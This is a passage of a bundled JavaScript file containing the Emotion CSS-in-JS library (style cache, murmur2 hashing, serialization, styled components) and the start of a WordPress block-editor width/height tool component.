66080 var ssrStyles = document.querySelectorAll("style[data-emotion]:not([data-s])"); // get SSRed styles out of the way of React's hydration
66081 // document.head is a safe place to move them to(though note document.head is not necessarily the last place they will be)
66082 // note this very very intentionally targets all style elements regardless of the key to ensure
66083 // that creating a cache works inside of render of a React component
66084
66085 Array.prototype.forEach.call(ssrStyles, function (node) {
66086 // we want to only move elements which have a space in the data-emotion attribute value
66087 // because that indicates that it is an Emotion 11 server-side rendered style elements
66088 // while we will already ignore Emotion 11 client-side inserted styles because of the :not([data-s]) part in the selector
66089 // Emotion 10 client-side inserted styles did not have data-s (but importantly did not have a space in their data-emotion attributes)
66090 // so checking for the space ensures that loading Emotion 11 after Emotion 10 has inserted some styles
66091 // will not result in the Emotion 10 styles being destroyed
66092 var dataEmotionAttribute = node.getAttribute('data-emotion');
66093
66094 if (dataEmotionAttribute.indexOf(' ') === -1) {
66095 return;
66096 }
66097 document.head.appendChild(node);
66098 node.setAttribute('data-s', '');
66099 });
66100 }
66101
66102 var stylisPlugins = options.stylisPlugins || defaultStylisPlugins;
66103
66104 if (false) {}
66105
66106 var inserted = {};
66107 var container;
66108 var nodesToHydrate = [];
66109
66110 {
66111 container = options.container || document.head;
66112 Array.prototype.forEach.call( // this means we will ignore elements which don't have a space in them which
66113 // means that the style elements we're looking at are only Emotion 11 server-rendered style elements
66114 document.querySelectorAll("style[data-emotion^=\"" + key + " \"]"), function (node) {
66115 var attrib = node.getAttribute("data-emotion").split(' '); // $FlowFixMe
66116
66117 for (var i = 1; i < attrib.length; i++) {
66118 inserted[attrib[i]] = true;
66119 }
66120
66121 nodesToHydrate.push(node);
66122 });
66123 }
66124
66125 var _insert;
66126
66127 var omnipresentPlugins = [compat, removeLabel];
66128
66129 if (false) {}
66130
66131 {
66132 var currentSheet;
66133 var finalizingPlugins = [Serializer_stringify, false ? 0 : rulesheet(function (rule) {
66134 currentSheet.insert(rule);
66135 })];
66136 var serializer = middleware(omnipresentPlugins.concat(stylisPlugins, finalizingPlugins));
66137
66138 var stylis = function stylis(styles) {
66139 return Serializer_serialize(compile(styles), serializer);
66140 };
66141
66142 _insert = function insert(selector, serialized, sheet, shouldCache) {
66143 currentSheet = sheet;
66144
66145 if (false) {}
66146
66147 stylis(selector ? selector + "{" + serialized.styles + "}" : serialized.styles);
66148
66149 if (shouldCache) {
66150 cache.inserted[serialized.name] = true;
66151 }
66152 };
66153 }
66154
66155 var cache = {
66156 key: key,
66157 sheet: new StyleSheet({
66158 key: key,
66159 container: container,
66160 nonce: options.nonce,
66161 speedy: options.speedy,
66162 prepend: options.prepend,
66163 insertionPoint: options.insertionPoint
66164 }),
66165 nonce: options.nonce,
66166 inserted: inserted,
66167 registered: {},
66168 insert: _insert
66169 };
66170 cache.sheet.hydrate(nodesToHydrate);
66171 return cache;
66172};
66173
66174/* harmony default export */ const emotion_cache_browser_esm = (createCache);
66175
66176;// ./node_modules/@emotion/hash/dist/emotion-hash.esm.js
66177/* eslint-disable */
66178// Inspired by https://github.com/garycourt/murmurhash-js
66179// Ported from https://github.com/aappleby/smhasher/blob/61a0530f28277f2e850bfc39600ce61d02b518de/src/MurmurHash2.cpp#L37-L86
66180function murmur2(str) {
66181 // 'm' and 'r' are mixing constants generated offline.
66182 // They're not really 'magic', they just happen to work well.
66183 // const m = 0x5bd1e995;
66184 // const r = 24;
66185 // Initialize the hash
66186 var h = 0; // Mix 4 bytes at a time into the hash
66187
66188 var k,
66189 i = 0,
66190 len = str.length;
66191
66192 for (; len >= 4; ++i, len -= 4) {
66193 k = str.charCodeAt(i) & 0xff | (str.charCodeAt(++i) & 0xff) << 8 | (str.charCodeAt(++i) & 0xff) << 16 | (str.charCodeAt(++i) & 0xff) << 24;
66194 k =
66195 /* Math.imul(k, m): */
66196 (k & 0xffff) * 0x5bd1e995 + ((k >>> 16) * 0xe995 << 16);
66197 k ^=
66198 /* k >>> r: */
66199 k >>> 24;
66200 h =
66201 /* Math.imul(k, m): */
66202 (k & 0xffff) * 0x5bd1e995 + ((k >>> 16) * 0xe995 << 16) ^
66203 /* Math.imul(h, m): */
66204 (h & 0xffff) * 0x5bd1e995 + ((h >>> 16) * 0xe995 << 16);
66205 } // Handle the last few bytes of the input array
66206
66207
66208 switch (len) {
66209 case 3:
66210 h ^= (str.charCodeAt(i + 2) & 0xff) << 16;
66211
66212 case 2:
66213 h ^= (str.charCodeAt(i + 1) & 0xff) << 8;
66214
66215 case 1:
66216 h ^= str.charCodeAt(i) & 0xff;
66217 h =
66218 /* Math.imul(h, m): */
66219 (h & 0xffff) * 0x5bd1e995 + ((h >>> 16) * 0xe995 << 16);
66220 } // Do a few final mixes of the hash to ensure the last few
66221 // bytes are well-incorporated.
66222
66223
66224 h ^= h >>> 13;
66225 h =
66226 /* Math.imul(h, m): */
66227 (h & 0xffff) * 0x5bd1e995 + ((h >>> 16) * 0xe995 << 16);
66228 return ((h ^ h >>> 15) >>> 0).toString(36);
66229}
66230
66231/* harmony default export */ const emotion_hash_esm = (murmur2);
66232
66233;// ./node_modules/@emotion/unitless/dist/emotion-unitless.esm.js
66234var unitlessKeys = {
66235 animationIterationCount: 1,
66236 borderImageOutset: 1,
66237 borderImageSlice: 1,
66238 borderImageWidth: 1,
66239 boxFlex: 1,
66240 boxFlexGroup: 1,
66241 boxOrdinalGroup: 1,
66242 columnCount: 1,
66243 columns: 1,
66244 flex: 1,
66245 flexGrow: 1,
66246 flexPositive: 1,
66247 flexShrink: 1,
66248 flexNegative: 1,
66249 flexOrder: 1,
66250 gridRow: 1,
66251 gridRowEnd: 1,
66252 gridRowSpan: 1,
66253 gridRowStart: 1,
66254 gridColumn: 1,
66255 gridColumnEnd: 1,
66256 gridColumnSpan: 1,
66257 gridColumnStart: 1,
66258 msGridRow: 1,
66259 msGridRowSpan: 1,
66260 msGridColumn: 1,
66261 msGridColumnSpan: 1,
66262 fontWeight: 1,
66263 lineHeight: 1,
66264 opacity: 1,
66265 order: 1,
66266 orphans: 1,
66267 tabSize: 1,
66268 widows: 1,
66269 zIndex: 1,
66270 zoom: 1,
66271 WebkitLineClamp: 1,
66272 // SVG-related properties
66273 fillOpacity: 1,
66274 floodOpacity: 1,
66275 stopOpacity: 1,
66276 strokeDasharray: 1,
66277 strokeDashoffset: 1,
66278 strokeMiterlimit: 1,
66279 strokeOpacity: 1,
66280 strokeWidth: 1
66281};
66282
66283/* harmony default export */ const emotion_unitless_esm = (unitlessKeys);
66284
66285;// ./node_modules/@emotion/serialize/dist/emotion-serialize.browser.esm.js
66286
66287
66288
66289
66290var ILLEGAL_ESCAPE_SEQUENCE_ERROR = "You have illegal escape sequence in your template literal, most likely inside content's property value.\nBecause you write your CSS inside a JavaScript string you actually have to do double escaping, so for example \"content: '\\00d7';\" should become \"content: '\\\\00d7';\".\nYou can read more about this here:\nhttps://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#ES2018_revision_of_illegal_escape_sequences";
66291var UNDEFINED_AS_OBJECT_KEY_ERROR = "You have passed in falsy value as style object's key (can happen when in example you pass unexported component as computed key).";
66292var hyphenateRegex = /[A-Z]|^ms/g;
66293var animationRegex = /_EMO_([^_]+?)_([^]*?)_EMO_/g;
66294
66295var isCustomProperty = function isCustomProperty(property) {
66296 return property.charCodeAt(1) === 45;
66297};
66298
66299var isProcessableValue = function isProcessableValue(value) {
66300 return value != null && typeof value !== 'boolean';
66301};
66302
66303var processStyleName = /* #__PURE__ */memoize(function (styleName) {
66304 return isCustomProperty(styleName) ? styleName : styleName.replace(hyphenateRegex, '-$&').toLowerCase();
66305});
66306
66307var processStyleValue = function processStyleValue(key, value) {
66308 switch (key) {
66309 case 'animation':
66310 case 'animationName':
66311 {
66312 if (typeof value === 'string') {
66313 return value.replace(animationRegex, function (match, p1, p2) {
66314 cursor = {
66315 name: p1,
66316 styles: p2,
66317 next: cursor
66318 };
66319 return p1;
66320 });
66321 }
66322 }
66323 }
66324
66325 if (emotion_unitless_esm[key] !== 1 && !isCustomProperty(key) && typeof value === 'number' && value !== 0) {
66326 return value + 'px';
66327 }
66328
66329 return value;
66330};
66331
66332if (false) { var hyphenatedCache, hyphenPattern, msPattern, oldProcessStyleValue, contentValues, contentValuePattern; }
66333
66334var noComponentSelectorMessage = (/* unused pure expression or super */ null && ('Component selectors can only be used in conjunction with ' + '@emotion/babel-plugin, the swc Emotion plugin, or another Emotion-aware ' + 'compiler transform.'));
66335
66336function handleInterpolation(mergedProps, registered, interpolation) {
66337 if (interpolation == null) {
66338 return '';
66339 }
66340
66341 if (interpolation.__emotion_styles !== undefined) {
66342 if (false) {}
66343
66344 return interpolation;
66345 }
66346
66347 switch (typeof interpolation) {
66348 case 'boolean':
66349 {
66350 return '';
66351 }
66352
66353 case 'object':
66354 {
66355 if (interpolation.anim === 1) {
66356 cursor = {
66357 name: interpolation.name,
66358 styles: interpolation.styles,
66359 next: cursor
66360 };
66361 return interpolation.name;
66362 }
66363
66364 if (interpolation.styles !== undefined) {
66365 var next = interpolation.next;
66366
66367 if (next !== undefined) {
66368 // not the most efficient thing ever but this is a pretty rare case
66369 // and there will be very few iterations of this generally
66370 while (next !== undefined) {
66371 cursor = {
66372 name: next.name,
66373 styles: next.styles,
66374 next: cursor
66375 };
66376 next = next.next;
66377 }
66378 }
66379
66380 var styles = interpolation.styles + ";";
66381
66382 if (false) {}
66383
66384 return styles;
66385 }
66386
66387 return createStringFromObject(mergedProps, registered, interpolation);
66388 }
66389
66390 case 'function':
66391 {
66392 if (mergedProps !== undefined) {
66393 var previousCursor = cursor;
66394 var result = interpolation(mergedProps);
66395 cursor = previousCursor;
66396 return handleInterpolation(mergedProps, registered, result);
66397 } else if (false) {}
66398
66399 break;
66400 }
66401
66402 case 'string':
66403 if (false) { var replaced, matched; }
66404
66405 break;
66406 } // finalize string values (regular strings and functions interpolated into css calls)
66407
66408
66409 if (registered == null) {
66410 return interpolation;
66411 }
66412
66413 var cached = registered[interpolation];
66414 return cached !== undefined ? cached : interpolation;
66415}
66416
66417function createStringFromObject(mergedProps, registered, obj) {
66418 var string = '';
66419
66420 if (Array.isArray(obj)) {
66421 for (var i = 0; i < obj.length; i++) {
66422 string += handleInterpolation(mergedProps, registered, obj[i]) + ";";
66423 }
66424 } else {
66425 for (var _key in obj) {
66426 var value = obj[_key];
66427
66428 if (typeof value !== 'object') {
66429 if (registered != null && registered[value] !== undefined) {
66430 string += _key + "{" + registered[value] + "}";
66431 } else if (isProcessableValue(value)) {
66432 string += processStyleName(_key) + ":" + processStyleValue(_key, value) + ";";
66433 }
66434 } else {
66435 if (_key === 'NO_COMPONENT_SELECTOR' && "production" !== 'production') {}
66436
66437 if (Array.isArray(value) && typeof value[0] === 'string' && (registered == null || registered[value[0]] === undefined)) {
66438 for (var _i = 0; _i < value.length; _i++) {
66439 if (isProcessableValue(value[_i])) {
66440 string += processStyleName(_key) + ":" + processStyleValue(_key, value[_i]) + ";";
66441 }
66442 }
66443 } else {
66444 var interpolated = handleInterpolation(mergedProps, registered, value);
66445
66446 switch (_key) {
66447 case 'animation':
66448 case 'animationName':
66449 {
66450 string += processStyleName(_key) + ":" + interpolated + ";";
66451 break;
66452 }
66453
66454 default:
66455 {
66456 if (false) {}
66457
66458 string += _key + "{" + interpolated + "}";
66459 }
66460 }
66461 }
66462 }
66463 }
66464 }
66465
66466 return string;
66467}
66468
66469var labelPattern = /label:\s*([^\s;\n{]+)\s*(;|$)/g;
66470var sourceMapPattern;
66471
66472if (false) {} // this is the cursor for keyframes
66473// keyframes are stored on the SerializedStyles object as a linked list
66474
66475
66476var cursor;
66477var emotion_serialize_browser_esm_serializeStyles = function serializeStyles(args, registered, mergedProps) {
66478 if (args.length === 1 && typeof args[0] === 'object' && args[0] !== null && args[0].styles !== undefined) {
66479 return args[0];
66480 }
66481
66482 var stringMode = true;
66483 var styles = '';
66484 cursor = undefined;
66485 var strings = args[0];
66486
66487 if (strings == null || strings.raw === undefined) {
66488 stringMode = false;
66489 styles += handleInterpolation(mergedProps, registered, strings);
66490 } else {
66491 if (false) {}
66492
66493 styles += strings[0];
66494 } // we start at 1 since we've already handled the first arg
66495
66496
66497 for (var i = 1; i < args.length; i++) {
66498 styles += handleInterpolation(mergedProps, registered, args[i]);
66499
66500 if (stringMode) {
66501 if (false) {}
66502
66503 styles += strings[i];
66504 }
66505 }
66506
66507 var sourceMap;
66508
66509 if (false) {} // using a global regex with .exec is stateful so lastIndex has to be reset each time
66510
66511
66512 labelPattern.lastIndex = 0;
66513 var identifierName = '';
66514 var match; // https://esbench.com/bench/5b809c2cf2949800a0f61fb5
66515
66516 while ((match = labelPattern.exec(styles)) !== null) {
66517 identifierName += '-' + // $FlowFixMe we know it's not null
66518 match[1];
66519 }
66520
66521 var name = emotion_hash_esm(styles) + identifierName;
66522
66523 if (false) {}
66524
66525 return {
66526 name: name,
66527 styles: styles,
66528 next: cursor
66529 };
66530};
66531
66532
66533
66534;// ./node_modules/@emotion/use-insertion-effect-with-fallbacks/dist/emotion-use-insertion-effect-with-fallbacks.browser.esm.js
66535
66536
66537
66538var syncFallback = function syncFallback(create) {
66539 return create();
66540};
66541
66542var useInsertionEffect = external_React_['useInsertion' + 'Effect'] ? external_React_['useInsertion' + 'Effect'] : false;
66543var emotion_use_insertion_effect_with_fallbacks_browser_esm_useInsertionEffectAlwaysWithSyncFallback = useInsertionEffect || syncFallback;
66544var useInsertionEffectWithLayoutFallback = (/* unused pure expression or super */ null && (useInsertionEffect || useLayoutEffect));
66545
66546
66547
66548;// ./node_modules/@emotion/react/dist/emotion-element-6a883da9.browser.esm.js
66549
66550
66551
66552
66553
66554
66555
66556
66557
66558var emotion_element_6a883da9_browser_esm_hasOwnProperty = {}.hasOwnProperty;
66559
66560var EmotionCacheContext = /* #__PURE__ */(0,external_React_.createContext)( // we're doing this to avoid preconstruct's dead code elimination in this one case
66561// because this module is primarily intended for the browser and node
66562// but it's also required in react native and similar environments sometimes
66563// and we could have a special build just for that
66564// but this is much easier and the native packages
66565// might use a different theme context in the future anyway
66566typeof HTMLElement !== 'undefined' ? /* #__PURE__ */emotion_cache_browser_esm({
66567 key: 'css'
66568}) : null);
66569
66570if (false) {}
66571
66572var CacheProvider = EmotionCacheContext.Provider;
66573var __unsafe_useEmotionCache = function useEmotionCache() {
66574 return useContext(EmotionCacheContext);
66575};
66576
66577var withEmotionCache = function withEmotionCache(func) {
66578 // $FlowFixMe
66579 return /*#__PURE__*/(0,external_React_.forwardRef)(function (props, ref) {
66580 // the cache will never be null in the browser
66581 var cache = (0,external_React_.useContext)(EmotionCacheContext);
66582 return func(props, cache, ref);
66583 });
66584};
66585
66586var ThemeContext = /* #__PURE__ */(0,external_React_.createContext)({});
66587
66588if (false) {}
66589
66590var useTheme = function useTheme() {
66591 return useContext(ThemeContext);
66592};
66593
66594var getTheme = function getTheme(outerTheme, theme) {
66595 if (typeof theme === 'function') {
66596 var mergedTheme = theme(outerTheme);
66597
66598 if (false) {}
66599
66600 return mergedTheme;
66601 }
66602
66603 if (false) {}
66604
66605 return _extends({}, outerTheme, theme);
66606};
66607
66608var createCacheWithTheme = /* #__PURE__ */(/* unused pure expression or super */ null && (weakMemoize(function (outerTheme) {
66609 return weakMemoize(function (theme) {
66610 return getTheme(outerTheme, theme);
66611 });
66612})));
66613var ThemeProvider = function ThemeProvider(props) {
66614 var theme = useContext(ThemeContext);
66615
66616 if (props.theme !== theme) {
66617 theme = createCacheWithTheme(theme)(props.theme);
66618 }
66619
66620 return /*#__PURE__*/createElement(ThemeContext.Provider, {
66621 value: theme
66622 }, props.children);
66623};
66624function withTheme(Component) {
66625 var componentName = Component.displayName || Component.name || 'Component';
66626
66627 var render = function render(props, ref) {
66628 var theme = useContext(ThemeContext);
66629 return /*#__PURE__*/createElement(Component, _extends({
66630 theme: theme,
66631 ref: ref
66632 }, props));
66633 }; // $FlowFixMe
66634
66635
66636 var WithTheme = /*#__PURE__*/forwardRef(render);
66637 WithTheme.displayName = "WithTheme(" + componentName + ")";
66638 return hoistNonReactStatics(WithTheme, Component);
66639}
66640
66641var getLastPart = function getLastPart(functionName) {
66642 // The match may be something like 'Object.createEmotionProps' or
66643 // 'Loader.prototype.render'
66644 var parts = functionName.split('.');
66645 return parts[parts.length - 1];
66646};
66647
66648var getFunctionNameFromStackTraceLine = function getFunctionNameFromStackTraceLine(line) {
66649 // V8
66650 var match = /^\s+at\s+([A-Za-z0-9$.]+)\s/.exec(line);
66651 if (match) return getLastPart(match[1]); // Safari / Firefox
66652
66653 match = /^([A-Za-z0-9$.]+)@/.exec(line);
66654 if (match) return getLastPart(match[1]);
66655 return undefined;
66656};
66657
66658var internalReactFunctionNames = /* #__PURE__ */new Set(['renderWithHooks', 'processChild', 'finishClassComponent', 'renderToString']); // These identifiers come from error stacks, so they have to be valid JS
66659// identifiers, thus we only need to replace what is a valid character for JS,
66660// but not for CSS.
66661
66662var sanitizeIdentifier = function sanitizeIdentifier(identifier) {
66663 return identifier.replace(/\$/g, '-');
66664};
66665
66666var getLabelFromStackTrace = function getLabelFromStackTrace(stackTrace) {
66667 if (!stackTrace) return undefined;
66668 var lines = stackTrace.split('\n');
66669
66670 for (var i = 0; i < lines.length; i++) {
66671 var functionName = getFunctionNameFromStackTraceLine(lines[i]); // The first line of V8 stack traces is just "Error"
66672
66673 if (!functionName) continue; // If we reach one of these, we have gone too far and should quit
66674
66675 if (internalReactFunctionNames.has(functionName)) break; // The component name is the first function in the stack that starts with an
66676 // uppercase letter
66677
66678 if (/^[A-Z]/.test(functionName)) return sanitizeIdentifier(functionName);
66679 }
66680
66681 return undefined;
66682};
66683
66684var typePropName = '__EMOTION_TYPE_PLEASE_DO_NOT_USE__';
66685var labelPropName = '__EMOTION_LABEL_PLEASE_DO_NOT_USE__';
66686var createEmotionProps = function createEmotionProps(type, props) {
66687 if (false) {}
66688
66689 var newProps = {};
66690
66691 for (var key in props) {
66692 if (emotion_element_6a883da9_browser_esm_hasOwnProperty.call(props, key)) {
66693 newProps[key] = props[key];
66694 }
66695 }
66696
66697 newProps[typePropName] = type; // For performance, only call getLabelFromStackTrace in development and when
66698 // the label hasn't already been computed
66699
66700 if (false) { var label; }
66701
66702 return newProps;
66703};
66704
66705var Insertion = function Insertion(_ref) {
66706 var cache = _ref.cache,
66707 serialized = _ref.serialized,
66708 isStringTag = _ref.isStringTag;
66709 registerStyles(cache, serialized, isStringTag);
66710 var rules = useInsertionEffectAlwaysWithSyncFallback(function () {
66711 return insertStyles(cache, serialized, isStringTag);
66712 });
66713
66714 return null;
66715};
66716
66717var Emotion = /* #__PURE__ */(/* unused pure expression or super */ null && (withEmotionCache(function (props, cache, ref) {
66718 var cssProp = props.css; // so that using `css` from `emotion` and passing the result to the css prop works
66719 // not passing the registered cache to serializeStyles because it would
66720 // make certain babel optimisations not possible
66721
66722 if (typeof cssProp === 'string' && cache.registered[cssProp] !== undefined) {
66723 cssProp = cache.registered[cssProp];
66724 }
66725
66726 var WrappedComponent = props[typePropName];
66727 var registeredStyles = [cssProp];
66728 var className = '';
66729
66730 if (typeof props.className === 'string') {
66731 className = getRegisteredStyles(cache.registered, registeredStyles, props.className);
66732 } else if (props.className != null) {
66733 className = props.className + " ";
66734 }
66735
66736 var serialized = serializeStyles(registeredStyles, undefined, useContext(ThemeContext));
66737
66738 if (false) { var labelFromStack; }
66739
66740 className += cache.key + "-" + serialized.name;
66741 var newProps = {};
66742
66743 for (var key in props) {
66744 if (emotion_element_6a883da9_browser_esm_hasOwnProperty.call(props, key) && key !== 'css' && key !== typePropName && ( true || 0)) {
66745 newProps[key] = props[key];
66746 }
66747 }
66748
66749 newProps.ref = ref;
66750 newProps.className = className;
66751 return /*#__PURE__*/createElement(Fragment, null, /*#__PURE__*/createElement(Insertion, {
66752 cache: cache,
66753 serialized: serialized,
66754 isStringTag: typeof WrappedComponent === 'string'
66755 }), /*#__PURE__*/createElement(WrappedComponent, newProps));
66756})));
66757
66758if (false) {}
66759
66760
66761
66762;// ./node_modules/@emotion/utils/dist/emotion-utils.browser.esm.js
66763var isBrowser = "object" !== 'undefined';
66764function emotion_utils_browser_esm_getRegisteredStyles(registered, registeredStyles, classNames) {
66765 var rawClassName = '';
66766 classNames.split(' ').forEach(function (className) {
66767 if (registered[className] !== undefined) {
66768 registeredStyles.push(registered[className] + ";");
66769 } else {
66770 rawClassName += className + " ";
66771 }
66772 });
66773 return rawClassName;
66774}
66775var emotion_utils_browser_esm_registerStyles = function registerStyles(cache, serialized, isStringTag) {
66776 var className = cache.key + "-" + serialized.name;
66777
66778 if ( // we only need to add the styles to the registered cache if the
66779 // class name could be used further down
66780 // the tree but if it's a string tag, we know it won't
66781 // so we don't have to add it to registered cache.
66782 // this improves memory usage since we can avoid storing the whole style string
66783 (isStringTag === false || // we need to always store it if we're in compat mode and
66784 // in node since emotion-server relies on whether a style is in
66785 // the registered cache to know whether a style is global or not
66786 // also, note that this check will be dead code eliminated in the browser
66787 isBrowser === false ) && cache.registered[className] === undefined) {
66788 cache.registered[className] = serialized.styles;
66789 }
66790};
66791var emotion_utils_browser_esm_insertStyles = function insertStyles(cache, serialized, isStringTag) {
66792 emotion_utils_browser_esm_registerStyles(cache, serialized, isStringTag);
66793 var className = cache.key + "-" + serialized.name;
66794
66795 if (cache.inserted[serialized.name] === undefined) {
66796 var current = serialized;
66797
66798 do {
66799 var maybeStyles = cache.insert(serialized === current ? "." + className : '', current, cache.sheet, true);
66800
66801 current = current.next;
66802 } while (current !== undefined);
66803 }
66804};
66805
66806
66807
66808;// ./node_modules/@emotion/styled/base/dist/emotion-styled-base.browser.esm.js
66809
66810
66811
66812
66813
66814
66815
66816
66817var testOmitPropsOnStringTag = isPropValid;
66818
66819var testOmitPropsOnComponent = function testOmitPropsOnComponent(key) {
66820 return key !== 'theme';
66821};
66822
66823var getDefaultShouldForwardProp = function getDefaultShouldForwardProp(tag) {
66824 return typeof tag === 'string' && // 96 is one less than the char code
66825 // for "a" so this is checking that
66826 // it's a lowercase character
66827 tag.charCodeAt(0) > 96 ? testOmitPropsOnStringTag : testOmitPropsOnComponent;
66828};
66829var composeShouldForwardProps = function composeShouldForwardProps(tag, options, isReal) {
66830 var shouldForwardProp;
66831
66832 if (options) {
66833 var optionsShouldForwardProp = options.shouldForwardProp;
66834 shouldForwardProp = tag.__emotion_forwardProp && optionsShouldForwardProp ? function (propName) {
66835 return tag.__emotion_forwardProp(propName) && optionsShouldForwardProp(propName);
66836 } : optionsShouldForwardProp;
66837 }
66838
66839 if (typeof shouldForwardProp !== 'function' && isReal) {
66840 shouldForwardProp = tag.__emotion_forwardProp;
66841 }
66842
66843 return shouldForwardProp;
66844};
66845
66846var emotion_styled_base_browser_esm_ILLEGAL_ESCAPE_SEQUENCE_ERROR = "You have illegal escape sequence in your template literal, most likely inside content's property value.\nBecause you write your CSS inside a JavaScript string you actually have to do double escaping, so for example \"content: '\\00d7';\" should become \"content: '\\\\00d7';\".\nYou can read more about this here:\nhttps://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#ES2018_revision_of_illegal_escape_sequences";
66847
66848var emotion_styled_base_browser_esm_Insertion = function Insertion(_ref) {
66849 var cache = _ref.cache,
66850 serialized = _ref.serialized,
66851 isStringTag = _ref.isStringTag;
66852 emotion_utils_browser_esm_registerStyles(cache, serialized, isStringTag);
66853 var rules = emotion_use_insertion_effect_with_fallbacks_browser_esm_useInsertionEffectAlwaysWithSyncFallback(function () {
66854 return emotion_utils_browser_esm_insertStyles(cache, serialized, isStringTag);
66855 });
66856
66857 return null;
66858};
66859
66860var createStyled = function createStyled(tag, options) {
66861 if (false) {}
66862
66863 var isReal = tag.__emotion_real === tag;
66864 var baseTag = isReal && tag.__emotion_base || tag;
66865 var identifierName;
66866 var targetClassName;
66867
66868 if (options !== undefined) {
66869 identifierName = options.label;
66870 targetClassName = options.target;
66871 }
66872
66873 var shouldForwardProp = composeShouldForwardProps(tag, options, isReal);
66874 var defaultShouldForwardProp = shouldForwardProp || getDefaultShouldForwardProp(baseTag);
66875 var shouldUseAs = !defaultShouldForwardProp('as');
66876 return function () {
66877 var args = arguments;
66878 var styles = isReal && tag.__emotion_styles !== undefined ? tag.__emotion_styles.slice(0) : [];
66879
66880 if (identifierName !== undefined) {
66881 styles.push("label:" + identifierName + ";");
66882 }
66883
66884 if (args[0] == null || args[0].raw === undefined) {
66885 styles.push.apply(styles, args);
66886 } else {
66887 if (false) {}
66888
66889 styles.push(args[0][0]);
66890 var len = args.length;
66891 var i = 1;
66892
66893 for (; i < len; i++) {
66894 if (false) {}
66895
66896 styles.push(args[i], args[0][i]);
66897 }
66898 } // $FlowFixMe: we need to cast StatelessFunctionalComponent to our PrivateStyledComponent class
66899
66900
66901 var Styled = withEmotionCache(function (props, cache, ref) {
66902 var FinalTag = shouldUseAs && props.as || baseTag;
66903 var className = '';
66904 var classInterpolations = [];
66905 var mergedProps = props;
66906
66907 if (props.theme == null) {
66908 mergedProps = {};
66909
66910 for (var key in props) {
66911 mergedProps[key] = props[key];
66912 }
66913
66914 mergedProps.theme = (0,external_React_.useContext)(ThemeContext);
66915 }
66916
66917 if (typeof props.className === 'string') {
66918 className = emotion_utils_browser_esm_getRegisteredStyles(cache.registered, classInterpolations, props.className);
66919 } else if (props.className != null) {
66920 className = props.className + " ";
66921 }
66922
66923 var serialized = emotion_serialize_browser_esm_serializeStyles(styles.concat(classInterpolations), cache.registered, mergedProps);
66924 className += cache.key + "-" + serialized.name;
66925
66926 if (targetClassName !== undefined) {
66927 className += " " + targetClassName;
66928 }
66929
66930 var finalShouldForwardProp = shouldUseAs && shouldForwardProp === undefined ? getDefaultShouldForwardProp(FinalTag) : defaultShouldForwardProp;
66931 var newProps = {};
66932
66933 for (var _key in props) {
66934 if (shouldUseAs && _key === 'as') continue;
66935
66936 if ( // $FlowFixMe
66937 finalShouldForwardProp(_key)) {
66938 newProps[_key] = props[_key];
66939 }
66940 }
66941
66942 newProps.className = className;
66943 newProps.ref = ref;
66944 return /*#__PURE__*/(0,external_React_.createElement)(external_React_.Fragment, null, /*#__PURE__*/(0,external_React_.createElement)(emotion_styled_base_browser_esm_Insertion, {
66945 cache: cache,
66946 serialized: serialized,
66947 isStringTag: typeof FinalTag === 'string'
66948 }), /*#__PURE__*/(0,external_React_.createElement)(FinalTag, newProps));
66949 });
66950 Styled.displayName = identifierName !== undefined ? identifierName : "Styled(" + (typeof baseTag === 'string' ? baseTag : baseTag.displayName || baseTag.name || 'Component') + ")";
66951 Styled.defaultProps = tag.defaultProps;
66952 Styled.__emotion_real = Styled;
66953 Styled.__emotion_base = baseTag;
66954 Styled.__emotion_styles = styles;
66955 Styled.__emotion_forwardProp = shouldForwardProp;
66956 Object.defineProperty(Styled, 'toString', {
66957 value: function value() {
66958 if (targetClassName === undefined && "production" !== 'production') {} // $FlowFixMe: coerce undefined to string
66959
66960
66961 return "." + targetClassName;
66962 }
66963 });
66964
66965 Styled.withComponent = function (nextTag, nextOptions) {
66966 return createStyled(nextTag, extends_extends({}, options, nextOptions, {
66967 shouldForwardProp: composeShouldForwardProps(Styled, nextOptions, true)
66968 })).apply(void 0, styles);
66969 };
66970
66971 return Styled;
66972 };
66973};
66974
66975/* harmony default export */ const emotion_styled_base_browser_esm = (createStyled);
66976
66977;// ./node_modules/@emotion/styled/dist/emotion-styled.browser.esm.js
66978
66979
66980
66981
66982
66983
66984
66985
66986
66987var tags = ['a', 'abbr', 'address', 'area', 'article', 'aside', 'audio', 'b', 'base', 'bdi', 'bdo', 'big', 'blockquote', 'body', 'br', 'button', 'canvas', 'caption', 'cite', 'code', 'col', 'colgroup', 'data', 'datalist', 'dd', 'del', 'details', 'dfn', 'dialog', 'div', 'dl', 'dt', 'em', 'embed', 'fieldset', 'figcaption', 'figure', 'footer', 'form', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'header', 'hgroup', 'hr', 'html', 'i', 'iframe', 'img', 'input', 'ins', 'kbd', 'keygen', 'label', 'legend', 'li', 'link', 'main', 'map', 'mark', 'marquee', 'menu', 'menuitem', 'meta', 'meter', 'nav', 'noscript', 'object', 'ol', 'optgroup', 'option', 'output', 'p', 'param', 'picture', 'pre', 'progress', 'q', 'rp', 'rt', 'ruby', 's', 'samp', 'script', 'section', 'select', 'small', 'source', 'span', 'strong', 'style', 'sub', 'summary', 'sup', 'table', 'tbody', 'td', 'textarea', 'tfoot', 'th', 'thead', 'time', 'title', 'tr', 'track', 'u', 'ul', 'var', 'video', 'wbr', // SVG
66988'circle', 'clipPath', 'defs', 'ellipse', 'foreignObject', 'g', 'image', 'line', 'linearGradient', 'mask', 'path', 'pattern', 'polygon', 'polyline', 'radialGradient', 'rect', 'stop', 'svg', 'text', 'tspan'];
66989
66990var newStyled = emotion_styled_base_browser_esm.bind();
66991tags.forEach(function (tagName) {
66992 // $FlowFixMe: we can ignore this because its exposed type is defined by the CreateStyled type
66993 newStyled[tagName] = newStyled(tagName);
66994});
66995
66996/* harmony default export */ const emotion_styled_browser_esm = (newStyled);
66997
66998;// ./node_modules/@wordpress/block-editor/build-module/components/dimensions-tool/width-height-tool.js
66999
67000
67001
67002
67003const SingleColumnToolsPanelItem = emotion_styled_browser_esm((0,external_wp_components_namespaceObject.__experimentalToolsPanelItem))`
67004 grid-column: span 1;
67005`;
67006function WidthHeightTool({
67007 panelId,
67008 value = {},
67009 onChange = () => {
67010 },
67011 units,
67012 isShownByDefault = true
67013}) {
67014 const width = value.width === "auto" ? "" : value.width ?? "";
67015 const height = value.height === "auto" ? "" : value.height ?? "";
67016 const onDimensionChange = (dimension) => (nextDimension) => {
67017 const nextValue = { ...value };
67018 if (!nextDimension) {
67019 delete nextValue[dimension];
